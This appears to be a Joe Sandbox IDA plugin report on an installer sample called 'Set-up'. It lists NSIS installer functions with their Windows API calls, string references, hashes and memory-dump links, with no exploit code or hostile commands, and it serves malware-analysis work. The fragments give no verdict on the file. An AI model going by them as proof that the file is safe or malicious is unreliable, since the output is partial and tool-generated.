Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

RichEd20, xrefs: 00405B9D
_Nb, xrefs: 00405AD1
RichEdit, xrefs: 00405BC4
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEd32, xrefs: 00405BA8
@%F, xrefs: 004059F6
.DEFAULT\Control Panel\International, xrefs: 00405999
.exe, xrefs: 00405A3D
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
@rD, xrefs: 00405965
B%F, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,PercentBroadConsensus,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,PercentBroadConsensus,PercentBroadConsensus,00000000,00000000,PercentBroadConsensus,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53
PercentBroadConsensus, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$PercentBroadConsensus
API String ID: 4286501637-3793480609
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

soft, xrefs: 00403675
Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 004033ED
P1B, xrefs: 004033A9
X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(0089E210), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
PercentBroadConsensus, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$PercentBroadConsensus$Pop: stack empty
API String ID: 1459762280-407568084
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(0089E210), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
PercentBroadConsensus, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$PercentBroadConsensus$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3090599645
